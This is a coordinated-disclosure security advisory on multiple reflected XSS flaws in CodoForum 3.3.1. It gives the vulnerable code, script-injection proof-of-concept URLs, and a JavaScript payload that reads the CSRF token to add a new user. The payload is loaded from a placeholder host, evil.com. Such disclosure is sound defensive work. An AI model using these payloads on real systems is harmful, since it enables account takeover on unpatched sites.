CodoForum 3.3.1 Multiple Cross Site Scriptings
Security Advisory – Curesec Research Team
Online-Reference
http://blog.curesec.com/article/blog/CodoForum-331-Multiple-Cross-Site-Scripting-Vulnerabilities-40.html


1. Introduction

Affected Product: 	CodoForum 3.3.1	
Fixed in: 		3.4
Fixed Version Link:
https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.3.4.build-19.zip

Vendor Contact: 	admin@codologic.com	
Vulnerability Type: 	Multiple Reflected XSS	
Remote Exploitable: 	Yes	
Reported to vendor: 	07/07/2015	
Disclosed to public: 	08/07/2015	
Release mode: 		Coordinated	
CVE: 			n/a	
Credits 		Tim Coen of Curesec GmbH	

2. Vulnerability Description

Various components of CodoForum are vulnerable to cross site scripting.
With this, it is possible to inject and execute arbitrary JavaScript
code. This can for example be used by an attacker to inject a JavaScript
keylogger, bypass CSRF protection, or perform phishing attacks.

The attacks can be exploited by getting the victim to click a link or
visit an attacker controlled website.
XSS 1

CodoForum uses version 2.1.2 of HybridAuth, which has an XSS
vulnerability in the installation script. This vulnerability is not
present in current versions of HybridAuth.

Sample POC:

http://localhost/codoforum/sys/Ext/hybridauth/install.php/"><script>alert(1)</script>

Code:

        sys/Ext/hybridauth/install.php:316
				        <li><label>HybridAuth Endpoint URL</label><input type="text"
class="inputgnrc" value="<?php echo $GLOBAL_HYBRID_AUTH_URL_BASE; ?>"
name="GLOBAL_HYBRID_AUTH_URL_BASE" style="min-width:600px;"></li>
        sys/Ext/hybridauth/install.php:346
		        if( isset( $item["callback"] ) && $item["callback"] ){
			        $provider_callback_url  = '<span style="color:green">' .
$GLOBAL_HYBRID_AUTH_URL_BASE . '?hauth.done=' . $provider . '</span>';
		        }
XSS 2, 3 & 4

The page that manages users does not encode user input before echoing
it, and is thus open to XSS. The vulnerable parameters are "username",
"role", as well as "status".

As the function retrieving POST request parameters uses GET parameters
as fallback, it is possible to exploit this issue via POST or GET request.

Sample POC:


http://localhost/codoforum/admin/index.php?page=users&username="><script>alert(1)</script>&role=2&status=99

http://localhost/codoforum/admin/index.php?page=users&username=foo&role=2"><script>alert('xsstest')</script>&status=99

http://localhost/codoforum/admin/index.php?page=users&username=foo&role=2&status=9"><script>alert('xsstest')</script>

Code:

        // admin/modules/users.php:261
        $role = getPost('role', '0');

        $smarty->assign('role_selected', (($role == '0') ? '2' : $role));
    [...]
            $filter_url.="&role=" . $role;
    [...]
        $status = getPost('status', 99);
        $smarty->assign('status_selected', $status);
    [...]
            $filter_url.="&status=" . $status;
    [...]
        $username = getPost('username', "");
        $smarty->assign('entered_username', $username);
    [...]
            $filter_url.="&username=" . $username;
XSS 5

The page that shows a list of users does not encode the "pno" argument,
and is thus open to XSS.

Sample POC:


http://localhost/codoforum/admin/index.php?page=users&sort_order=DESC&pno=1"><script>alert(1)</script>&sort_by=status

Code:

        admin/modules/users.php:326
            $sort_url = "index.php?page=users&sort_order=" . $isor .
$filter_url . '&pno=' . $_GET['pno']; //put inverted link only for table
heading
            $smarty->assign('sort_url', $sort_url);
XSS 6

The page that shows plugins does not properly encode the "plugin"
argument, and is thus open to XSS.

Sample POC:


http://localhost/codoforum/admin/index.php?page=ploader&plugin=<script>alert(1)</script>

Code:

        admin/modules/ploader.php:85
            <li class="active"><i class="fa fa-wrench"></i>
'.$_GET['plugin'].'</li>

3. Proof of Concept Codes:

This proof of concept adds a new user by bypassing CSRF protection. In a
similar way, the new user could be given admin rights.

The script can be loaded from an external server by injecting <script
src="http://evil.com/s.js"></script> as payload for the XSS
vulnerabilities described above.

    var csrfProtectedPage =
'http://localhost/codoforum/admin/index.php?page=users';

    // get valid token for current request
    var html = get(csrfProtectedPage);
    document.body.innerHTML = html;
    var form = document.getElementById('add_user_form');
    var token = form.CSRF_token.value;

    // build form with valid token
    document.body.innerHTML
            += '<form id="myform" action="' + csrfProtectedPage + '"
method="POST">'
            + '<input type="hidden" name="CSRF_token" value="' + token +
'">'
            + '<input type="hidden" name="a_username" value="Jill Smith">'
            + '<input type="hidden" name="a_email" value="smith@anon.com">'
            + '<input type="hidden" name="a_password" value="12345678">'
            + '<input type="hidden" name="a_repassword" value="12345678">'
            + '</form>';

    // submit form
    document.forms["myform"].submit();

    function get(url) {
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open("GET", url, false);
        xmlHttp.send(null);
        return xmlHttp.responseText;
    }

4. Solution

Upgrade to Version 3.4:

https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.3.4.build-19.zip

5. Report Timeline

07/07/2015 	Informed Vendor about Issue
07/07/2015 	Vendor confirmation
08/03/2015 	Vendor releases Version 3.4
08/07/2015 	Disclosed to public